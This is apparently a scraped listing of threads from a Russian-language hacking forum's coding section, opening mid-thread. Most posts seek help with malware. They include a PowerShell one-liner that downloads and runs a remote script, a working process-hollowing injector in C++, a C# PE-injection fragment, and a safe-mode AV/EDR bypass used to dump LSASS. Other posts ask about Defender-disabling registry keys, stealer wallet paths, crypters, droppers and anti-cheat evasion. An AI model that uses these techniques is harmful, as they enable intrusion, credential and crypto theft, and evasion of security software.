            if ((res == CURLE_OK) && ((response_code / 100) != 3))
            {
                printf("- %ld\n", response_code);
            }
        }
    }
    curl_easy_cleanup(curl);

    curl_global_cleanup();

    return 0;
}

Я думал сертификат не может найти, или еще чтото с сертификатом, сгенерировал свой (openssl) вставил, но проблема не исчезла. Проверку сертификата тоже убирал.
Во-вторых, скорость. 30 запросов без прокси отправлялись за 3-4 секунды, подрубив прокси один запрос отправлялся +-32 сек. и как я думаю, это зависит всеже от прокси, и я вставил их в firefox.settings.network и у меня хоть и медленно, но всеже запросы в гугл быстро обрабатывались. Тестил уже многое, смотрел примеры на гитхабе - ничего помогло.

C https/socks4 прокси тоже самое, но вот с http чутка лучше по скорости и нет ошибок.

Надеюсь вы мне поможете. Заранее спасибо!

Запуск программы на NET из памяти
ID: 6765d804b4103b69df375781
Thread ID: 100261
Created: 2023-10-17T07:59:35+0000
Last Post: 2023-10-18T10:06:54+0000
Author: fest
Replies: 3 Views: 393

Пытаюсь средствами С++ запустить программу написанную на NET из памяти.

Программы написанные на C++ и Delphi запускаются без проблем.

А вот программа на NET при запуске из памяти из кода на С++ выдает постоянно одну и ту же ошибку:

"This application could not be started."

34545.png

Подскажите как это исправить ?

#define C++
ID: 6765d804b4103b69df37592c
Thread ID: 59985
Created: 2021-12-12T12:30:56+0000
Last Post: 2021-12-18T19:06:35+0000
Author: spam_help
Replies: 7 Views: 391

Можно ли как то реализовать, чтобы в одной директиве #define для определения одного макроимени было несколько разных значений? и они рандомизировались при выборе, когда #дефайн передаешь в функцию для исполнения?

Допустим есть функция загрузчика и в него передается 'url'

C++:Copy to clipboard

#define url "http://url.com/somefiles"

Для него можно разные значения задавать прямо в директиве?

Про рандомизацию мало инфы нашел как-то полезной, одни числовые рандомизаторы

Какие есть обусификаторы для С++?
ID: 6765d804b4103b69df37571c
Thread ID: 111805
Created: 2024-04-02T12:42:00+0000
Last Post: 2024-04-02T21:04:55+0000
Author: Russian_Coder
Replies: 1 Views: 390

Какие есть обусификаторы для С++?
Смотрел в сторону LLVM но он детектится по своей сигнатуре, какие есть может моды на него или в целом другой аналог

[goto] vs [do/while/for + break]
ID: 6765d804b4103b69df375770
Thread ID: 102192
Created: 2023-11-13T17:33:11+0000
Last Post: 2023-11-20T19:29:50+0000
Author: fadey_ldr
Replies: 6 Views: 389

Для преждевременного выхода из блока (а так же что бы не плодить кучу вложенных if else) часто испольуют либо goto, либо различные варианты циклов с обязательным break в конце

Spoiler: Images

1699896046557.png

1699896065041.png

С одной стороны goto избавляет от вермишели из if else, с другой стороны когда метка находится в конце блока прямо перед закрытием скобки - выглядит это не очень красиво и читаемо.
В то же время do/while/for + break создает дополнительную вложенность, так же как при использовании if else.

Spoiler: Images2

1699896224577.png

1699896241844.png

Хотелось услышать мнение формучан, кто каким вариантом пользуется и почему, выслушать все за и против.

Вопрос по Си
ID: 6765d804b4103b69df3756bb
Thread ID: 123322
Created: 2024-09-23T09:24:45+0000
Last Post: 2024-09-23T11:01:45+0000
Author: sib_rat
Replies: 1 Views: 388

Доброго времени суток!
У меня есть код на си, содержащий массив байтов - код другой, скомпилированной программы. Как из этого кода на си запустить новым процессом программу, лежащую в массиве?

Portable compiler?
ID: 6765d804b4103b69df375746
Thread ID: 106743
Created: 2024-01-26T17:56:28+0000
Last Post: 2024-02-01T16:20:56+0000
Author: qGodless
Replies: 4 Views: 388

I want to create an application that provides rawData to PEloader.cpp before it's compiled. I tried TinyCC, but I believe there might be a more efficient approach. Can you suggest a better alternative?

I also tried reading rawData from a file on disk, but i belive i have to deliver the file with the PEloader

Spoiler: PEloader.cpp

C:Copy to clipboard

unsigned char rawData[64] = {
    0x68, 0x65, 0x6D, 0x61, 0x73, 0x2D, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73,
    0x6F, 0x66, 0x74, 0x2D, 0x63, 0x6F, 0x6D, 0x3A, 0x61, 0x73, 0x6D, 0x2E
};

void Inject()
{
    //Deobfuscate rawData if obfuscated
    void* imageBuffer = rawData();

    IMAGE_NT_HEADERS64* ntHeaders;
    IMAGE_SECTION_HEADER* sectionHeader;
    IMAGE_DOS_HEADER* dosHeader;
    ...
}
Как можно обойти эмуляцию от Windows Defender c# ?
ID: 6765d804b4103b69df37582b
Thread ID: 80520
Created: 2023-01-23T15:28:16+0000
Last Post: 2023-01-23T18:18:18+0000
Author: MangaM
Replies: 2 Views: 384

Подскажите как можно это сделать на c#. Знаю что при запуске процесс сначала эмулируется в виртуальной среде Defender'а, есть же способы как можно скрыть вирус в этой среде, но я не понимаю как это сделать, посмотрел ролик о разборе движка и ничего не понял Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator. На форуме был подобный вопрос и один человек дал ссылку на гитхаб https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c но этот код так же не ясен, может кто то знает как его перевести на c# ? Или какие еше есть способы ? Буду благодарен любой подсказке

Clipboad Hook windows Form
ID: 6765d804b4103b69df375978
Thread ID: 55772
Created: 2021-08-24T10:27:02+0000
Last Post: 2021-08-24T19:34:00+0000
Author: Ghostmela
Replies: 2 Views: 383

Hello everyone, how do i set a clipboard hook to get any copied data in a clipboard and auto paste in a text file

Вопрос к гуру
ID: 6765d804b4103b69df375961
Thread ID: 57656
Created: 2021-10-12T20:22:14+0000
Last Post: 2021-10-13T21:15:59+0000
Author: AlexLyt
Replies: 11 Views: 383

Кто сталкивался с бес файловым запуском программы на Си, Вин Апи. у Powershell готовая реализация это powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://х.х.х.х/xVpjqutz/p.ps1'))" .
По поводу Си остаются вопросы.
Так же мы запускаем не строку а exe.
Кто может обьяснить или дать линки на проэкты, маны?

ETH balncae checker с#
ID: 6765d804b4103b69df375920
Thread ID: 60866
Created: 2022-01-04T23:34:03+0000
Last Post: 2022-01-04T23:57:04+0000
Author: wasted1337
Replies: 1 Views: 382

Решил написать свой простенький чекер

C#:Copy to clipboard

using System;
using System.Text;
using Nethereum.Hex.HexConvertors.Extensions;
using System.Threading.Tasks;
using Nethereum.Web3;
using System.Net;
using System.IO;

namespace ConsoleApp14{
    class Program{
        static void Main(string[] args){
            System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;
            var web3 = new Web3("https://mainnet.infura.io/v3/23328a89a7ec409eadfb15c7a9b39935");// тут если хотите можно поменять
            Console.Write("List of addresses:");
            var path = Console.ReadLine(); // Путь к текстовому файлу
            var myList = File.ReadAllLines(path);
            foreach (var item in myList){
                get_balnce(web3,item).Wait();
            }
            Console.Write("Press any key to continue...");
            Console.ReadKey(true);
        }
        static async Task get_balnce(Web3 web3,string adress){
            var balance = await web3.Eth.GetBalance.SendRequestAsync(adress);
            var etherAmount = Web3.Convert.FromWei(balance.Value);
            Console.WriteLine(
                "\nAddress:" + adress +
                "\nAmount: " + etherAmount);
        }
    }
}

Пользуйтесь на здоровье

Выбор языка C# или C++ (малварь, крипт)
ID: 6765d804b4103b69df3758d3
Thread ID: 65410
Created: 2022-04-09T09:21:02+0000
Last Post: 2022-04-09T11:43:59+0000
Author: K4r4ssu
Replies: 3 Views: 381

Что лучше для написание своей малавари Шарп или плюсы?
Так же интересна тема крипторов, насколько в 2022 году они актуальны, и какой из вышеперечисленных языков подходит лучше?

Вопрос о языке Си
ID: 6765d804b4103b69df375764
Thread ID: 104068
Created: 2023-12-14T14:12:12+0000
Last Post: 2023-12-15T14:55:19+0000
Author: Botsman
Replies: 5 Views: 380

Всем привет, мне насоветовали изучать Си как язык на котором можно писать софты, мальвари итд. У меня вопрос для знающих, подходит ли этот язык для пентестов, проникновение в сеть, эксплойтинг. Я понял что язык сложный, мне хотелось бы знать что реально на нем можно писать и для чего он больше подходит.

.bat .msi
ID: 6765d804b4103b69df375914
Thread ID: 61764
Created: 2022-01-21T12:29:33+0000
Last Post: 2022-01-21T17:20:02+0000
Author: 777not999
Replies: 3 Views: 379

Привет. Возможно ли из .bat файла запущенного не от имени администратора, запустить .msi уже как от имени администратора и как ? спасибо !

Compile-less C code execution
ID: 6765d804b4103b69df3758fa
Thread ID: 63121
Created: 2022-02-17T19:01:20+0000
Last Post: 2022-02-18T14:53:41+0000
Author: awaken1337
Replies: 14 Views: 376

Реально ли запустить код написанный на C не компилируя его в файл?

шеллкод go
ID: 6765d804b4103b69df375771
Thread ID: 101850
Created: 2023-11-08T00:54:42+0000
Last Post: 2023-11-19T22:29:05+0000
Author: zenfai
Replies: 3 Views: 376

Есть ли способы сгенерировать шеллкод из сорцов или бинаря ? Как ещё можно почистить(морферы, обфускаторы) проект на golang ? https://github.com/burrowers/garble - не спасает.

Как сделать запуск билда в дроппере?
ID: 6765d804b4103b69df375775
Thread ID: 102040
Created: 2023-11-10T21:56:48+0000
Last Post: 2023-11-15T06:31:10+0000
Author: barbarosa
Replies: 5 Views: 372

Всем привет! Как сделать запуск стиллера (билда) в дроппере на c#? А то Process.Start не всегда срабатывает что-то.

exe to dll
ID: 6765d804b4103b69df375951
Thread ID: 58454
Created: 2021-11-03T10:19:36+0000
Last Post: 2021-11-09T14:43:47+0000
Author: Jim0x
Replies: 4 Views: 370

Приветствую форум, ребята подскажите пожалуйста, есть exe файл, как его можно засунуть и куда его сувать в код и в какой код, что бы на выходе получился dll, с точкой входа! буду прзинаетелен за примеры такой компиляции!

Как можно скрыть следы компилятора?
ID: 6765d804b4103b69df37572f
Thread ID: 110466
Created: 2024-03-15T12:02:51+0000
Last Post: 2024-03-15T13:06:05+0000
Author: Russian_Coder
Replies: 4 Views: 370

Как можно скрыть следы компилятора?
какие есть варианты убрать вот
1710504162182.png

golang http get proxy
ID: 6765d804b4103b69df37578f
Thread ID: 85787
Created: 2023-04-12T21:51:08+0000
Last Post: 2023-09-20T12:15:33+0000
Author: servik44lk
Replies: 1 Views: 368

Code:Copy to clipboard

package main

import (
    "fmt"
    "strings"
    "net/http"
    "io/ioutil"
)

type Proxy struct {
     addr string
}

func (p *Proxy) ServeHTTP(w http.ResponseWriter, r *http.Request) {
     target     := r.RequestURI
     targetUri  := strings.Split(target, "")
     cookies    := r.Cookies()
     cookiesStr := ""
     for _,x := range cookies {
         cookiesStr += ", cookie { "  + x.Name + " = " + x.Value  + " } "
     }
 
     if targetUri[0] == "/" {
        w.Write([]byte("welcome to http proxy.."))
        return
     }

     switch r.Method {
            case "GET":
                 fmt.Println(r.RequestURI + " " + r.UserAgent() + cookiesStr)
                 getResponse, getError := http.Get(r.RequestURI)
                 if getError != nil {
                    w.Write([]byte("http proxy connection error with " + r.RequestURI + " " + getError.Error()))
                    return
                 }
                 defer getResponse.Body.Close()
                 getData,_ := ioutil.ReadAll(getResponse.Body)
                 w.Write(getData)

            case "POST":
                 w.Write([]byte("post proxy!"))

            default:
                w.Write([]byte("method not supported " + r.Method))
     }
}

func main() {
     proxy := &Proxy{addr: "0.0.0.0:9090"}
     http.ListenAndServe(proxy.addr, proxy)
}
Сорцы простого вируса на С
ID: 6765d804b4103b69df3758e7
Thread ID: 64170
Created: 2022-03-12T16:46:38+0000
Last Post: 2022-03-13T05:10:42+0000
Author: Unseen
Replies: 3 Views: 368

Добрый день , поделитесь сорцами простых вирусов на яп Си . Хотелось бы поизучать чужой код / методы реализаций функционалов . Заранее спасибо !

Определение версии Windows ++
ID: 6765d804b4103b69df37590c
Thread ID: 62470
Created: 2022-02-04T09:48:28+0000
Last Post: 2022-02-05T13:20:37+0000
Author: SenctumSempra
Replies: 11 Views: 367

Есть задача определить версию windows
Есть Функция GetVersion GetVersionEx, они не работают на 10-ках
Так же есть Функции IsWindows8OrGreater() в <VersionHelpers.h>

C++:Copy to clipboard

#include <VersionHelpers.h>

    if (!IsWindows8OrGreater())
    {
       MessageBox(NULL, "You need at least Windows 8", "Version Not Supported", MB_OK);
    }

Код с MSDN без внесений изменений
Может есть либа, которую нужно закоментить еще?
Снимок.PNG

Как получить адрес функции из удаленного процесса ?
ID: 6765d804b4103b69df375726
Thread ID: 111197
Created: 2024-03-24T08:22:20+0000
Last Post: 2024-03-24T10:51:45+0000
Author: ymmfty0
Replies: 3 Views: 366

Приветствую всех, как я могу получить адрес функции из длл , которая импортирована в удаленном процессе.
Я вот так получаю саму dll

C++:Copy to clipboard

HMODULE GetDllModule(HANDLE hProcess)
{
    HMODULE hMods[1024];
    DWORD cbNeeded;
    unsigned int i;

    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))
    {
        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
        {
            TCHAR szModName[MAX_PATH];
 
            if (GetModuleBaseNameW(hProcess, hMods[i], szModName,
                sizeof(szModName) / sizeof(TCHAR)))
            {
                if (wcscmp(szModName, L"name.dll") == 0) {
                    return hMods[i];
                }
            }
        }
    }

    DWORD dwError = GetLastError();
    printf("[!] EnumProcessModules failed with error code %d\n", dwError);

    return NULL;
}

Имея дескриптор , как я могу получить адрес нужной мне функции из этой dll ? Можете направить в нужную сторону. Всем спасибо, всего вам хорошего

Что копать под Снифинг?
ID: 6765d804b4103b69df3758a8
Thread ID: 68831
Created: 2022-06-17T19:56:35+0000
Last Post: 2022-07-20T13:50:06+0000
Author: AlexLyt
Replies: 6 Views: 366

Ребят, подскажите где копать, может гитхаб разработки есть.
нужно реализовать длл на С шарп
Нужно реализовать заглушку программным путем.
Смысл в том что когда запускается программа, весь трафик этой программы будет перехватываться и писать в лог.
Как входящий так и исхоящий трафик с этой программы
Спасибо заранее.

Модуль для Metasploit под брут OpenVPN Access Server
ID: 6765d804b4103b69df375753
Thread ID: 101663
Created: 2023-11-05T13:32:14+0000
Last Post: 2024-01-06T14:48:01+0000
Author: kudokaii
Replies: 2 Views: 366

Всем доброго времени суток! Недавно столкнулся с модулем на Metasploit под брут Cisco SSL VPN, возможно кто-то знает где найти такой же под Овпн или кто может написать, прошу отписать в лс

Getting list of .NET DLL loaded by particular process in C#
ID: 6765d804b4103b69df375863
Thread ID: 76393
Created: 2022-11-22T05:56:52+0000
Last Post: 2022-11-22T09:19:46+0000
Author: svch0st
Replies: 4 Views: 365

How can we get list of all .NET Based DLL modules loaded by particular process in C#. :zns6:

Don't have to use third party binaries or executables. o_o

Нужна помощь по c++
ID: 6765d804b4103b69df3756b5
Thread ID: 124078
Created: 2024-10-04T06:02:55+0000
Last Post: 2024-10-04T06:11:10+0000
Author: Onyx1050
Replies: 1 Views: 364

Здравствуйте нужна помощь опытных людей по языку c++ просьба писать мне в л.с

[C#]как поменять и применить прокси в системе?
ID: 6765d804b4103b69df375808
Thread ID: 84827
Created: 2023-03-30T01:07:07+0000
Last Post: 2023-03-30T21:02:49+0000
Author: Ags1of
Replies: 11 Views: 364

Всем доброй ночи, пишу я, значит, простенький прокси сервер, который ставлю на localhost, но проблема заключается в том, что, допустим, браузеры не берут системные прокси, даже когда в параметрах Windows => Прокси-сервер => Настройка прокси вручную стоит включённый флаг, в котором в качестве адреса указан 127.0.0.1 и в качестве порта - выбранный мной порт. Значения адреса и порта я выставлял программно через реестр вот так:

C#:Copy to clipboard

[DllImport("wininet.dll")]
    public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
    public const int INTERNET_OPTION_SETTINGS_CHANGED = 39;
    public const int INTERNET_OPTION_REFRESH = 37;
static void Main(string[] args)
    {
        if (args.Length == 0)
        {
            setProxy("127.0.0.1:4848", false);
            Listener();
            //return;
        }

        setProxy(args[0], true);

        
    }
 static void setProxy(string proxyhost, bool proxyEnabled)
    {
        const string userRoot = "HKEY_CURRENT_USER";
        const string subkey = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
        const string keyName = userRoot + "\\" + subkey;

        if (proxyhost.Length != 0)
            Registry.SetValue(keyName, "ProxyServer", proxyhost);
        Registry.SetValue(keyName, "ProxyEnable", proxyEnabled ? 1 : 0, RegistryValueKind.DWord);

        
        InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
        InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
    }

У меня создаётся такое впечатление, что просто эта функция не работает, так как я поднимал сервер с помощью TcpListener'а, но он ничего не хватает из запросов, но, ради эксперимента, я решил скачать Firefox, в котором я вручную поставил настройки прокси-сервера (т.е.) поставил в адрес 127.0.0.1 и выбранный мною порт, в итоге, написанный мной сервер хватает запросы из фаерфокса, но, когда я снова ставлю в фаерфокс системные настройки прокси, и в настройках ставлю флаг "Вкл" на ручную настройку проксей и туда ставлю локалхост1680138357453.png
, то опять написанный мною сервер никакие запросы не хватает. Подскажите, пожалуйста, что делать?

Только что потестировал и понял, чтобы настройка прокси применялась в системе, надо нажать эту кнопку:1680138382437.png, подскажите, пожалуйста, как её можно нажать программно, т.е. сохранить настройки проксей?

Компиляция .exe без CRT clang-ом
ID: 6765d804b4103b69df375945
Thread ID: 58953
Created: 2021-11-17T16:33:21+0000
Last Post: 2021-11-24T16:32:41+0000
Author: c0d3r_0f_shr0d13ng3r
Replies: 3 Views: 364

Доброго времени суток, форумчане.Пытаюсь скомпилить без CRT exe клангом на винде.Для компиляции использую следующую команду:

Code:Copy to clipboard

clang++ source.cpp -m32 -s -mwindows -nostdlib -lkernel32

Сам исходник, "пустая" программа:

C:Copy to clipboard

#include <windows.h>

int main(){
    
    ExitProcess(0);
    
}

На выходе получаю вот такую ошибку:

Code:Copy to clipboard

C:\Users\Admin\AppData\Local\Temp\source-4250d0.o:(.text+0xa): undefined reference to `__main'
clang++.exe: error: linker command failed with exit code 1 (use -v to see invocation)

Инклуды/Либы использую mingw-шные
В чем может быть проблема? Буду признателен за ответ...

Master file table
ID: 6765d804b4103b69df375718
Thread ID: 112163
Created: 2024-04-07T09:15:11+0000
Last Post: 2024-04-07T15:57:27+0000
Author: Snow
Replies: 2 Views: 363

Собственно вопрос следующий. Я хочу использовать обращение к MFT для повышения производительности.
Как бы простейший пример, отображающий список файлов на диске написал.
Скорость обработки данных существенно выше. Тут как бы очевидно.
Меня больше вопнует другой вопрос. Насколько данный метод возбудит АВ?
Как бы в тестах с включенным дефендером всё ок.
Но на машиине разработчика и тестовых стендах всегда всё работает...

получение аватарки Discord
ID: 6765d804b4103b69df375825
Thread ID: 81307
Created: 2023-02-05T13:43:20+0000
Last Post: 2023-02-05T14:59:54+0000
Author: uglydavidka
Replies: 3 Views: 363

Идея: в моём десктоп приложении на C++ должна отображаться картинка (у каждого человека своя), которая будет являться его аватаркой в Disciord,
Проблема: я пытался найти инфу о discord api, или в опенсурс, но ничего подобного не нашел
Вопрос: Как я могу скачивать/получать линк на аватарку человека если она по своей сути является динамической(у каждого своя)
Буду рад помощи <3

Bypass AV/EDR with Safe Mode
ID: 6765d804b4103b69df37577e
Thread ID: 100753
Created: 2023-10-23T19:44:03+0000
Last Post: 2023-10-23T21:44:59+0000
Author: blackhunt
Replies: 1 Views: 361

Guess what might not be running in safe mode? An AV/EDR. Also, attackers do NOT need to be physically in front of the machine to run in safe mode. I learned about this technique reading about snatch ransomware. Here is the article. I learn a lot from reading malware walkthroughs.

Here is I check if a security product is running in safe mode.

Github Source

to c:\users\public

1698089806985.png

Here is a quick look at the code. In main it checks if it is running in safe mode. If it is then it will try to figure out the security product and check if it is running.

1698089838710.png

After that, it writes the output to a file in c:\users\public and removes safeboot and restart the machine.

1698089874177.png

Here is how I Compile/Run it. I find my csc.exe so I can compile the code (under c:\windows\microsoft.net). In my case, it is under the 4.0.30319. Yes, I need to upgrade my lab 😊

1698089952759.png
Once the file is compiled I run the Doit.bat file as admin. I need to run Doit.bat file as ADMIN to create the service, modify the registry keys that are needed to run the service in safe mode and boot it into safe mode.

It is hard coded to look in the C:\users\public folder. All this does is creates a service and modifies the registry keys needed for the service to run in safe mode then reboots the machine in safe mode.

1698089976676.png

When I run the batch file, here is the output. I am a little lazy with this screen shot I did not delete my service before I took it 😊. Here is the batch file running.

1698090000348.png

It then tells the machine to boot into safe mode and restarts

1698090034385.png

When it comes up, I let it sit there a moment. It runs the exe I created to check if the security tools are running, removes safeboot option and then restarts. It takes about 30 seconds on my machine.

1698090060749.png

After it reboots out of safe mode, I log back in and I see the file it wrote here. This lets me know what security product I have and if it is running. The results below are for defender. EDR vendor results are much more interesting.

1698090159874.png

Finally, I run undoit.bat so I can remove the service I created and remove the registry key.

1698090204027.png

I have used this technique to dump LSASS in safe mode. If I remember correctly, I ran lazagne in safeboot with this technique too. It could be used to hide anything.

Detection:

· Look for these any change to these registry keys below this.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot

· Keep an eye on BCDEdit and other ways of programmatically booting a machine into safe mode

· Consider checking if your EDR runs in safe mode. If it doesn’t, check with your vendor to see what they recommend to detect this technique.

Где geko движок хранит расширения?
ID: 6765d804b4103b69df37586c
Thread ID: 74034
Created: 2022-10-07T00:36:45+0000
Last Post: 2022-11-08T19:30:22+0000
Author: D0gger
Replies: 1 Views: 361

В процессе расширения функционала своего стилера столкнулся с такой проблемой, не могу найти где geko движок хранит холодки(метамаск, ронин и тд). Из этого вытекает вопрос, где геко движок хранит всё это?

Расшифровка строк | dnlib, c#
ID: 6765d804b4103b69df375832
Thread ID: 79835
Created: 2023-01-12T18:13:26+0000
Last Post: 2023-01-12T19:13:53+0000
Author: D0gger
Replies: 1 Views: 361

Занимаюсь реверсом одной программы, удалось почти полностью деобфуксировать, но осталось проблема с декодированием строк:
начал решать проблему через написание декриптора на dnlib, смог получить строки, но проблема в получение ключа (object[]), как можно получить его через dnlib?
1673547090245.png

Regarding the Vangurad detection recently launched in Riot game (League of Legends), discuss how to bypass Vangurad detection
ID: 6765d804b4103b69df375703
Thread ID: 113651
Created: 2024-05-01T10:53:37+0000
Last Post: 2024-05-06T17:11:50+0000
Author: Luckyzzz
Replies: 1 Views: 359

Riot Games launched Vangurad detection today. It is a detection specifically for cheating players. If cheating is detected, Vangurd will directly block your hardware device. I would like to discuss with you again how to bypass Vangurad detection

Отключить AVs/обход / Disable AVs / Bypass
ID: 6765d804b4103b69df37577f
Thread ID: 100704
Created: 2023-10-23T11:41:12+0000
Last Post: 2023-10-23T12:16:23+0000
Author: BloodBear
Replies: 1 Views: 359

Привет

Есть ли у кого-либо скрипт .Net, который может быть запущен и отключен защитник Windows, id также заинтересован в тех, которые могут отключить другие AVs или знать, какие реестры необходимо настроить, чтобы обойти их.
Я вижу много групп, как они могут отключить любой AV там целевой.
Я хочу, чтобы это было базовое значение и в .net, потому что powershell внимательно следят и vbscript собирается устареть

---

Hi

Does anyone has a .Net script that can be run and disabled by Windows Defender, id also interested in other AVs or know which registries need to be configured to bypass them.
Im currently working on my own script playing with:
SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths
and
SOFTWARE\Classes\ms-settings\shell\open\command

I see a lot of groups how they can disable any AV there target.

I want it to be in .net as well, because powershell is closely watched and vbscript is about to become obsolete

Проблема с Process Hollowing
ID: 6765d804b4103b69df375743
Thread ID: 107303
Created: 2024-02-02T13:05:22+0000
Last Post: 2024-02-04T11:59:56+0000
Author: Security8810
Replies: 3 Views: 357

Здравствуйте, я внес модификацию кода Process Hollowing, я пытаюсь внедрить массив байтов, но при запуске скомпилированного файла я вижу, что процесс запускается, а затем получаю сообщение об ошибке. Есть идеи, в чем может быть проблема?

Массив байтов составляет 32 бита, как и сам процесс, так что проблема не в этом.
Ошибки отладки не отображаются

Есть идеи?

C++:Copy to clipboard

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
NTSTATUS NTAPI NtResumeProcess(HANDLE ProcessHandle);

void InjectCodeFromByteArray(PBYTE byteArray, SIZE_T byteArraySize, LPCWSTR szHostExe) {
    printf("Starting code injection...\n");

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)byteArray;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("Invalid DOS signature.\n");
        return;
    }

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(byteArray + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        printf("Invalid NT headers.\n");
        return;
    }

    PROCESS_INFORMATION pi;
    STARTUPINFOW si = { sizeof(STARTUPINFO) };
    printf("Creating process...\n");
    if (!CreateProcessW(szHostExe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessW failed with error %d.\n", GetLastError());
        return;
    }

    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    printf("Getting thread context...\n");
    if (!GetThreadContext(pi.hThread, &context)) {
        printf("GetThreadContext failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    PVOID image_base;
    printf("Reading process memory...\n");
    if (!ReadProcessMemory(pi.hProcess, (const PVOID)(context.Ebx + 8), &image_base, sizeof(PVOID), NULL)) {
        printf("ReadProcessMemory failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    if ((DWORD)image_base == ntHeaders->OptionalHeader.ImageBase) {
        printf("Unmapping view of section...\n");
        NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, image_base);
        if (status != 0) {
            printf("NtUnmapViewOfSection failed with status 0x%08X\n", status);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            return;
        }
    }

    printf("Allocating memory in target process...\n");
    PVOID remoteImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)(ntHeaders->OptionalHeader.ImageBase),
        ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!remoteImageBase) {
        printf("VirtualAllocEx failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Writing headers into target process...\n");
    if (!WriteProcessMemory(pi.hProcess, remoteImageBase, byteArray, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) {
        printf("WriteProcessMemory failed for PE headers with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        printf("Writing section %d into target process...\n", i);
        if (!WriteProcessMemory(pi.hProcess, (PBYTE)remoteImageBase + sectionHeader[i].VirtualAddress,
                byteArray + sectionHeader[i].PointerToRawData, sectionHeader[i].SizeOfRawData, NULL)) {
            printf("WriteProcessMemory failed for section %d with error %d.\n", i, GetLastError());
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            return;
        }
    }

    DWORD entryPoint = (DWORD)remoteImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
    context.Eax = entryPoint;
    printf("Setting thread context...\n");
    if (!SetThreadContext(pi.hThread, &context)) {
        printf("SetThreadContext failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Resuming thread...\n");
    if (!ResumeThread(pi.hThread)) {
        printf("ResumeThread failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Injection successful.\n");
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

int main() {
    unsigned char byteArray[16384] = {
       // byte array here
    };

    SIZE_T byteArraySize = sizeof(byteArray);
    LPCWSTR szHostExe = L"C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe";

    InjectCodeFromByteArray(byteArray, byteArraySize, szHostExe);

    return 0;
}

View attachment 75773

Поиск кодера - работа над RAT Android
ID: 6765d804b4103b69df37586e
Thread ID: 75362
Created: 2022-11-06T16:58:03+0000
Last Post: 2022-11-06T16:58:03+0000
Author: XLAMER0
Replies: 0 Views: 357

Рад приветсвовать. Являюсь C++ / Python разработчиком. работаю над Android RAT ищу наставника и помощника для совместной разработки данного проекта. стек разработки C++ / QT графика и сервер, клиент java соответсвенно.
кто желает в соответсвии со своими навыками или же хочет их подтянуть разделив один проект - добро пожаловать. буду рад видеть в лс.
PS: не вакансии, не работа, только совместная разработка

Pe Injection
ID: 6765d804b4103b69df37596d
Thread ID: 56685
Created: 2021-09-14T15:49:09+0000
Last Post: 2021-09-18T10:18:21+0000
Author: Ghostmela
Replies: 5 Views: 357

Hello everyone i am trying to understand how pe injection works... The below code works fine if i used a shellcode as the payload, but when i use an exe file it doesn't work. I have an idea of converting the payload to base64 then see if i can load it but i haven,'t tried yet. I will we be happy if someone put me through on this or help me moderate the code to achieve what i want. Thanks in advance.

using System;
using System.Runtime.InteropServices;

namespace PE_Inject
{
class Program
{
[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess (uint processAccess, bool bInheritHandle, int processId);

[DllImport ("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx (IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport ("kernel32.dll")]
static extern bool WriteProcessMemory (IntPtr hProcess, IntPtr lpBaseAddress, string lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

[DllImport ("kernel32.dll")]
static extern IntPtr CreateRemoteThread (IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[STAThread]
static void Main (string [] args)
{
